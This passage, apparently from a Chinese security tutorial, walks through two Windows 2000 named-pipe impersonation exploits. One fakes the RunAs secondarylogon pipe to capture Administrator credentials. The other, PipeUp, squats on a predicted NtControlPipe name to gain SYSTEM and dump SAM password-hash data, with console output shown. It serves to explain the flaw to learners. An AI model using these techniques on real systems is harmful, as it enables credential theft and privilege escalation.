用户Administrator才能终止RunAs服务进程)。这样RunAs拥有的“\\.\pipe\secondarylogon”就关闭(Close)了。
再以我的一般用户账号moda登录dallas,接着运行radix1112200101伪造一个新的Named Pipe “\\.\pipe\secondarylogon”。
D:\MyJob\securitylab\radix\Debug>radix1112200101
Created pipe and waiting for clients...
怎么确定“\\.\pipe\secondarylogon”被成功地创建了呢?我们可以使用pipelist程序,这是我从sysinternals网站下载的宝贝之一,它能列出系统中所有的Named Pipe:
D:\MyJob\tool\pipelist\RELEASE>pipelist
PipeList v1.01
by Mark Russinovich
http://www.sysinternals.com
Pipe Name Instances Max Instances
--------- --------- -------------
InitShutdown 2 -1
lsass 5 -1
ntsvcs 50 -1
scerpc 2 -1
net\NtControlPipe1 1 1
DhcpClient 1 -1
net\NtControlPipe2 1 1
Winsock2\CatalogChangeListener-194-0 1 1
net\NtControlPipe3 1 1
spoolss 2 -1
。。。。。。。
。。。。。。。
net\NtControlPipe21 1 1
tapsrv 2 -1
ROUTER 2 -1
WMIEP_2ac 2 -1
WMIEP_154 2 -1
SecondaryLogon 1 10
D:\MyJob\tool\pipelist\RELEASE>
你们看到,最后一个Named Pipe就是radix1112200101刚刚伪造Secondarylogon。
现在运行radixvictim。对於这个程序,用户甲就是无辜而无知的“moda”,而用户乙就是超级用户Administrator。请注意Exploit程序radix1112200101的输出:
D:\MyJob\securitylab\radix\Debug>radix1112200101
Created pipe and waiting for clients...
Read 4 bytes. (ASCII Dump)
>
? Read 318 bytes. (ASCII Dump)
□
? ? 8
X j □ □
? ? ? - + -
? A d m i n i s t r a t o r
? d a l l a
s ? m o d a
* D
: \ W i n n t \
N o t e P a d .
e x e ? N o t e P a d . e x e l
D H l
W i n S
t a 0 \ D e f a u l t _
D:\MyJob\securitylab\radix\Debug>
你们可以看到,超级用户Administrator的信息(包括密码)全部都被radix1112200101接收到了。得到Administrator的账号信息后,再提升权限就易如反掌了!
这个Exploit的关键在于:第一,Named Pipe的名字是广为人知的,黑客的Named Pipe也可以贴上同样的名字“\\.\pipe\secondarylogon”去冒充;第二,CreateProcessWithLogonW在使用Named Pipe之前并没有核实Named Pipe的Server端进程,它不管Server端是连通到RunAs进程还是到其它的进程。类似的这样问题是在Windows操作系统中是广泛存在的,再看下面的例子:
我是在网站http://www.dogmile.com上看到的这个例子的,作者为maceo。根据maceo的研究,Windows 2000操作系统广泛使用了Named Pipe来控制(或者说管理)服务进程,包括象Clipbook服务进程呀、Telnetd服务进程呀等等,而且这些Named Pipe的名字是可以猜得到的。如果黑客抢先用猜到的名字创建Named Pipe的话,服务进程启动时会直接连接到黑客的Named Pipe上,於是黑客程序就可以通过ImpersonateNamedPipeClient()取得服务进程的权限(缺省设置为Local System权限)。那么,黑客是怎样猜到这些Named Pipe的名字的呢?很简单,他是从Registry中查询到的,在下面的地址:
HKEY_LOCAL_MACHINE\
SYSTEM\
CurrentControlSet\
Control\
ServiceCurrent
如果ServiceCurrent的双字值(DWORD Value)是X,那么服务进程所用到的Named Pipe的名字就是“\\.\pipe\net\NtControlPipe(X+1)”,这也就是黑客要伪造的Named Pipe的名字。
maceo给出了几个Exploit程序,我下面就在Dallas上演示其中的一个----PipeUp。这个Exploit程序首先从Registry中取得下一个服务进程要使用的Named Pipe名字,然后抢先创建这个Named Pipe;紧接着它启动服务进程ClipBook,由于ClipBook启动后会主动连接这个伪造的Named Pipe,於是PipeUp就通过函数ImpersonateNamedPipeClient而获取了Local System的账号权限(因为ClipBook一般以Local System的账号运行)。这样进程PipeUp就有足够的权限把Local System在Security Account Manager(SAM)中的信息读出来。
你们可以从网站http://www.dogmile.com下载这个Exploit的源程序,这里限于篇幅我就不转载这个程序了(画外音:其实是限于版权)。
先以Administrator的账号登录dallas,把ClipBook服务进程停止。
再以一般用户moda登录,运行Exploit程序PipeUp,下面是PipeUp运行及Exploit的结果:
D:\MyJob\securitylab\PipeUp\Debug>pipeup
The ClipBook service is not started.
More help is available by typing NET HELPMSG 3521.
Impersonating: SYSTEM
Dumping SAM for RID 500 ...
F:0x020001000000000010f3e3f89b33c2010000000000000000f0a09fa11061c
101ffffffffffff
ff7fb0c25115f430c201f401000001020000100200000000000000002a010100
000000000d000a00
0000
V:0x00000000a800000002000100a80000001a00000000000000c400000000
00000000000000c400
00006c0000000000000030010000000000000000000030010000000000000
0000000300100000000
0000000000003001000000000000000000003001000000000000000000003
0010000000000000000
0000300100000000000000000000300100000000000000000000300100000
8000000010000003801
000014000000000000004c010000140000000000000060010000040000000
0000000640100000400
000000000000010014808800000098000000140000003000000002001c000
100000002c014004400
05010101000000000001000000000200580003000000000014005b0302000
1010000000000010000
000000001800ff070f000102000000000005200000002002000000002400440
00200010500000000
000515000000dde8e41c32621f2a8aa7323ff401000001020000000000052000
0000200200000102
0000000000052000000020020000410064006d0069006e0069007300740072
00610074006f007200
00004200750069006c0074002d0069006e0020006100630063006f0075006e0
07400200066006f00
72002000610064006d0069006e006900730074006500720069006e00670020
007400680065002000
63006f006d00700075007400650072